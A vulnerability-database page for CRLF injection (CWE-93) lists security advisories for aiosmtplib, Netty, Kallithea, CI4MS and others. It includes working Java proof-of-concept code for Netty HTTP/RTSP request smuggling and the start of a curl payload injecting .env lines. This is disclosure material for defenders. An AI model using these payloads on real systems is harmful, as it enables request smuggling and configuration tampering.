Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

379 vulnerabilities reference this CWE, most recent first.

GHSA-V3Q9-HJ7J-63HQ

Vulnerability from github – Published: 2026-07-07 23:40 – Updated: 2026-07-07 23:40
VLAI
Summary
aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address
Details

Summary

aiosmtplib's SMTP.mail(), SMTP.rcpt(), SMTP.vrfy() and SMTP.expn() send the caller-supplied email address to the server without rejecting embedded CR/LF (\r\n) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more additional, standalone SMTP command lines. A caller that passes an attacker-influenced sender or recipient address into mail()/rcpt() (or vrfy()/expn()) therefore allows SMTP command injection (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as MAIL FROM, RCPT TO, RSET, DATA, or AUTH into the session. Injected commands will cause the SMTP instance to hang, but all commands required to complete the envelope could be sent in one address string.

The SMTP.sendmail() command will pass sender and recipient addresses verbatim through to SMTP.mail() & SMTP.rcpt(), and so is also vulnerable. SMTP.send_message() is not affected.

Impact

Severity: medium. Type: SMTP protocol command injection (CWE-93 — Improper Neutralization of CRLF Sequences; CWE-77 — Command Injection).

When an application built on aiosmtplib derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to mail()/rcpt() (directly, or via sendmail()/send() without a Message object), the attacker can:

  • desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service
  • inject multiple commands in one address to send an arbitrary message

The address only needs to reach mail()/rcpt()/vrfy()/expn(); no attacker control over the SMTP server is required.

Vulnerable versions

Affected version: aiosmtplib 5.1.0 (latest at time of report) and all earlier releases.

Credit

Reported by tonghuaroot.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "aiosmtplib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:40:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`aiosmtplib`\u0027s `SMTP.mail()`, `SMTP.rcpt()`, `SMTP.vrfy()` and `SMTP.expn()` send the caller-supplied email address to the server without rejecting embedded CR/LF (`\\r\\n`) bytes. An address that contains a CR/LF is written verbatim onto the SMTP control connection, so the bytes after the CRLF are framed by the server as one or more **additional, standalone SMTP command lines**. A caller that passes an attacker-influenced sender or recipient address into `mail()`/`rcpt()` (or `vrfy()`/`expn()`) therefore allows **SMTP command injection** (CWE-93 / CWE-77): the attacker can smuggle arbitrary SMTP verbs such as `MAIL FROM`, `RCPT TO`, `RSET`, `DATA`, or `AUTH` into the session. Injected commands will cause the `SMTP` instance to hang, but all commands required to complete the envelope could be sent in one address string.\n\nThe `SMTP.sendmail()` command will pass sender and recipient addresses verbatim through to `SMTP.mail()` \u0026 `SMTP.rcpt()`, and so is also vulnerable. `SMTP.send_message()` is not affected.\n\n### Impact\n\nSeverity: medium. Type: SMTP protocol command injection (CWE-93 \u2014 Improper Neutralization of CRLF Sequences; CWE-77 \u2014 Command Injection).\n\nWhen an application built on `aiosmtplib` derives the envelope sender or any recipient from data an attacker can influence (a web form etc.) and passes it to `mail()`/`rcpt()` (directly, or via `sendmail()`/`send()` without a `Message` object), the attacker can:\n\n- desynchronize the command/response pipeline and cause the aiosmtplib client to hang, resulting in a possible denial of service\n- inject multiple commands in one address to send an arbitrary message\n\nThe address only needs to reach `mail()`/`rcpt()`/`vrfy()`/`expn()`; no attacker control over the SMTP server is required.\n\n### Vulnerable versions\n\nAffected version: `aiosmtplib` 5.1.0 (latest at time of report) and all earlier releases.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-v3q9-hj7j-63hq",
  "modified": "2026-07-07T23:40:52Z",
  "published": "2026-07-07T23:40:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cole/aiosmtplib/security/advisories/GHSA-v3q9-hj7j-63hq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cole/aiosmtplib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aiosmtplib vulnerable to SMTP command injection via CR/LF in sender/recipient address"
}

GHSA-V3R5-PJPM-MWGQ

Vulnerability from github – Published: 2023-06-07 15:52 – Updated: 2023-06-07 15:52
VLAI
Summary
Async HTTP Client has CRLF Injection vulnerability in HTTP request headers
Details

Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.

This vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/swift-server/async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-0040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-07T15:52:55Z",
    "nvd_published_at": "2023-01-18T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Versions of Async HTTP Client prior to 1.13.2 are vulnerable to a form of targeted request manipulation called CRLF injection. This vulnerability was the result of insufficient validation of HTTP header field values before sending them to the network. Users are vulnerable if they pass untrusted data into HTTP header field values without prior sanitisation. Common use-cases here might be to place usernames from a database into HTTP header fields.\n\nThis vulnerability allows attackers to inject new HTTP header fields, or entirely new requests, into the data stream. This can cause requests to be understood very differently by the remote server than was intended. In general, this is unlikely to result in data disclosure, but it can result in a number of logical errors and other misbehaviours.",
  "id": "GHSA-v3r5-pjpm-mwgq",
  "modified": "2023-06-07T15:52:55Z",
  "published": "2023-06-07T15:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/security/advisories/GHSA-v3r5-pjpm-mwgq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0040"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/commit/7f05a8da46cc2a4ab43218722298b81ac7a08031"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/swift-server/async-http-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.13.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/swift-server/async-http-client/releases/tag/1.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Async HTTP Client has CRLF Injection vulnerability in HTTP request headers"
}

GHSA-V65P-HGF8-V8QQ

Vulnerability from github – Published: 2022-05-17 02:45 – Updated: 2022-05-17 02:45
VLAI
Details

An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-8791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-05T18:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered on Accellion FTA devices before FTA_9_12_180. There is a home/seos/courier/login.html auth_params CRLF attack vector.",
  "id": "GHSA-v65p-hgf8-v8qq",
  "modified": "2022-05-17T02:45:15Z",
  "published": "2022-05-17T02:45:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8791"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/anonymous/32e2894fa29176f3f32cb2b2bb7c24cb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V8H7-RR48-VMMV

Vulnerability from github – Published: 2026-05-05 18:27 – Updated: 2026-05-08 19:32
VLAI
Summary
Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection
Details

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

  • io.netty.handler.codec.http.DefaultHttpRequest
  • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
  • setUri(String uri) only performs checkNotNull and does not validate
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • setUri(String uri) delegates to the parent implementation
  • io.netty.handler.codec.http.HttpRequestEncoder
  • Writes request.uri() directly into the request line
  • io.netty.handler.codec.rtsp.RtspEncoder
  • Writes request.uri() directly into the request line

This creates the following bypass:

  1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
  2. Later, attacker-influenced input is passed into setUri()
  3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
  4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

  • GET /s1
  • POST /s2 with body Hello World
  • trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects RtspEncoder. A minimal reproduction is shown below.

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;

public final class RtspSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());

        DefaultHttpRequest request = new DefaultHttpRequest(
                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");

        request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
                "CSeq: 1\r\n\r\n" +
                "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" +
                "CSeq: 2\r\n\r\n" +
                "OPTIONS rtsp://cam/final");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded RTSP request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by RtspDecoder ===");
        server.writeInbound(outbound.retainedDuplicate());
    }
}

When reproduced, RtspEncoder generates consecutive RTSP requests in a single encoded payload:

OPTIONS rtsp://cam/stream RTSP/1.0
CSeq: 1

DESCRIBE rtsp://cam/secret RTSP/1.0
CSeq: 2

OPTIONS rtsp://cam/final RTSP/1.0

RtspDecoder then parses this as three separate RTSP requests:

  • OPTIONS rtsp://cam/stream
  • DESCRIBE rtsp://cam/secret
  • OPTIONS rtsp://cam/final

This confirms that the same setter bypass is exploitable for RTSP request injection as well.

Impact

The vulnerable conditions are:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest
  • The request object is created first and later modified through setUri()
  • The value passed into setUri() is attacker-controlled or attacker-influenced
  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder

Under those conditions, an attacker may be able to:

  • perform HTTP request smuggling
  • trigger proxy/backend desynchronization
  • inject additional requests toward internal APIs
  • confuse request boundaries and bypass assumptions around authentication or routing
  • inject RTSP requests

The exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.

Root Cause

Validation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.

As a result, the constructors are safe while the public setUri() path is not, and the encoders trust and serialize the mutated value without revalidation.

Suggested Fix Direction

DefaultHttpRequest.setUri() and all delegating/inheriting paths should apply the same request-line token validation as the constructors.

Recommended regression coverage:

  • verify that setUri() rejects CRLF-containing input after object construction
  • verify that DefaultFullHttpRequest.setUri() is blocked as well
  • verify that spaces, \r, \n, and request-smuggling payloads are rejected
  • verify that both HttpRequestEncoder and RtspEncoder are protected from setter-based bypasses

Affected Area

  • netty-codec-http
  • io.netty.handler.codec.http.DefaultHttpRequest
  • io.netty.handler.codec.http.DefaultFullHttpRequest
  • io.netty.handler.codec.http.HttpRequestEncoder
  • io.netty.handler.codec.rtsp.RtspEncoder
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:27:35Z",
    "nvd_published_at": "2026-05-06T22:16:25Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`.\n\nThe constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests.\n\nIn practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.\n\n### Details\nThe root issue is that URI validation exists only on the constructor path, but not on the public setter path.\n\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n  - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)`\n  - `setUri(String uri)` only performs `checkNotNull` and does not validate\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n  - `setUri(String uri)` delegates to the parent implementation\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n  - Writes `request.uri()` directly into the request line\n- `io.netty.handler.codec.rtsp.RtspEncoder`\n  - Writes `request.uri()` directly into the request line\n\nThis creates the following bypass:\n\n1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI\n2. Later, attacker-influenced input is passed into `setUri()`\n3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim\n4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests\n\nThis appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.\n\n### PoC (HTTP)\nThe following code first creates a normal request object and then injects a malicious request line using `setUri()`.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.http.HttpMethod;\nimport io.netty.handler.codec.http.HttpRequestEncoder;\nimport io.netty.handler.codec.http.HttpServerCodec;\nimport io.netty.handler.codec.http.HttpVersion;\nimport io.netty.util.CharsetUtil;\n\npublic final class HttpSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                HttpVersion.HTTP_1_1, HttpMethod.GET, \"/safe\");\n\n        request.setUri(\"/s1 HTTP/1.1\\r\\n\" +\n                \"\\r\\n\" +\n                \"POST /s2 HTTP/1.1\\r\\n\" +\n                \"content-length: 11\\r\\n\\r\\n\" +\n                \"Hello World\" +\n                \"GET /s1\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by HttpServerCodec ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n\n        Object msg;\n        while ((msg = server.readInbound()) != null) {\n            System.out.println(msg);\n        }\n\n        outbound.release();\n        client.finishAndReleaseAll();\n        server.finishAndReleaseAll();\n    }\n}\n```\n\nWhen reproduced, the raw encoded request looks like this:\n\n```http\nGET /s1 HTTP/1.1\n\nPOST /s2 HTTP/1.1\ncontent-length: 11\n\nHello WorldGET /s1 HTTP/1.1\n```\n\n`HttpServerCodec` then parses this as multiple HTTP messages rather than a single request:\n\n- `GET /s1`\n- `POST /s2` with body `Hello World`\n- trailing `GET /s1`\n\nThis confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests.\n\n### PoC (RTSP)\nThe same root cause also affects `RtspEncoder`. A minimal reproduction is shown below.\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.DefaultHttpRequest;\nimport io.netty.handler.codec.rtsp.RtspDecoder;\nimport io.netty.handler.codec.rtsp.RtspEncoder;\nimport io.netty.handler.codec.rtsp.RtspMethods;\nimport io.netty.handler.codec.rtsp.RtspVersions;\nimport io.netty.util.CharsetUtil;\n\npublic final class RtspSetUriSmugglePoc {\n    public static void main(String[] args) {\n        EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());\n        EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());\n\n        DefaultHttpRequest request = new DefaultHttpRequest(\n                RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, \"rtsp://safe/media\");\n\n        request.setUri(\"rtsp://cam/stream RTSP/1.0\\r\\n\" +\n                \"CSeq: 1\\r\\n\\r\\n\" +\n                \"DESCRIBE rtsp://cam/secret RTSP/1.0\\r\\n\" +\n                \"CSeq: 2\\r\\n\\r\\n\" +\n                \"OPTIONS rtsp://cam/final\");\n\n        client.writeOutbound(request);\n        ByteBuf outbound = client.readOutbound();\n\n        System.out.println(\"=== Raw encoded RTSP request ===\");\n        System.out.println(outbound.toString(CharsetUtil.US_ASCII));\n\n        System.out.println(\"=== Decoded by RtspDecoder ===\");\n        server.writeInbound(outbound.retainedDuplicate());\n    }\n}\n```\n\nWhen reproduced, `RtspEncoder` generates consecutive RTSP requests in a single encoded payload:\n\n```text\nOPTIONS rtsp://cam/stream RTSP/1.0\nCSeq: 1\n\nDESCRIBE rtsp://cam/secret RTSP/1.0\nCSeq: 2\n\nOPTIONS rtsp://cam/final RTSP/1.0\n```\n\n`RtspDecoder` then parses this as three separate RTSP requests:\n\n- `OPTIONS rtsp://cam/stream`\n- `DESCRIBE rtsp://cam/secret`\n- `OPTIONS rtsp://cam/final`\n\nThis confirms that the same setter bypass is exploitable for RTSP request injection as well.\n\n### Impact\nThe vulnerable conditions are:\n\n- The application uses `DefaultHttpRequest` or `DefaultFullHttpRequest`\n- The request object is created first and later modified through `setUri()`\n- The value passed into `setUri()` is attacker-controlled or attacker-influenced\n- The object is eventually serialized by `HttpRequestEncoder` or `RtspEncoder`\n\nUnder those conditions, an attacker may be able to:\n\n- perform HTTP request smuggling\n- trigger proxy/backend desynchronization\n- inject additional requests toward internal APIs\n- confuse request boundaries and bypass assumptions around authentication or routing\n- inject RTSP requests\n\nThe exact impact depends on how the application constructs URIs and how the upstream/downstream HTTP or RTSP components parse request boundaries, but the security impact is real and reproducible.\n\n### Root Cause\nValidation is enforced only at object construction time, but not on the public mutation API that can break the same security invariant.\n\nAs a result, the constructors are safe while the public `setUri()` path is not, and the encoders trust and serialize the mutated value without revalidation.\n\n### Suggested Fix Direction\n`DefaultHttpRequest.setUri()` and all delegating/inheriting paths should apply the same request-line token validation as the constructors.\n\nRecommended regression coverage:\n\n- verify that `setUri()` rejects CRLF-containing input after object construction\n- verify that `DefaultFullHttpRequest.setUri()` is blocked as well\n- verify that spaces, `\\r`, `\\n`, and request-smuggling payloads are rejected\n- verify that both `HttpRequestEncoder` and `RtspEncoder` are protected from setter-based bypasses\n\n### Affected Area\n- `netty-codec-http`\n- `io.netty.handler.codec.http.DefaultHttpRequest`\n- `io.netty.handler.codec.http.DefaultFullHttpRequest`\n- `io.netty.handler.codec.http.HttpRequestEncoder`\n- `io.netty.handler.codec.rtsp.RtspEncoder`",
  "id": "GHSA-v8h7-rr48-vmmv",
  "modified": "2026-05-08T19:32:42Z",
  "published": "2026-05-05T18:27:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41417"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection"
}

GHSA-VFG9-PHJP-9FRW

Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2024-09-27 15:42
VLAI
Summary
Kallithea CRLF injection vulnerability
Details

CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the came_from parameter to _admin/login.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "kallithea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-5285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-02T21:07:28Z",
    "nvd_published_at": "2015-10-29T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the `came_from` parameter to `_admin/login`.",
  "id": "GHSA-vfg9-phjp-9frw",
  "modified": "2024-09-27T15:42:07Z",
  "published": "2022-05-13T01:26:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5285"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NexMirror/Kallithea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/kallithea/PYSEC-2015-13.yaml"
    },
    {
      "type": "WEB",
      "url": "https://kallithea-scm.org/security/cve-2015-5285.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/38424"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/133897/Kallithea-0.2.9-HTTP-Response-Splitting.html"
    },
    {
      "type": "WEB",
      "url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5267.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kallithea CRLF injection vulnerability"
}

GHSA-VFHX-5459-QHQH

Vulnerability from github – Published: 2026-04-08 19:16 – Updated: 2026-04-08 19:16
VLAI
Summary
CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller
Details

Summary

The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).

Details

In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:

// line 32-41
$updates = [
    'CI_ENVIRONMENT' => 'development',
    'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION
    'database.default.database' => $this->request->getPost('dbname'),
    // ...
];

This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:

// line 94-98
foreach ($updates as $key => $value) {
    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
    $replacement = "{$key}={$value}";
    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
    else $contents .= PHP_EOL . $replacement;
}

Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.

The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.

Access conditions: - CSRF is explicitly disabled for install routes (InstallConfig.php:7-9), confirmed consumed by Filters.php:220-231,246-251. - InstallFilter (line 13) only blocks when both .env exists and cache('settings') is populated. The endpoint is accessible during fresh install or after cache expiry/clear.

Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.

PoC

Scenario: Application is deployed but cache has expired (or fresh install window).

# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
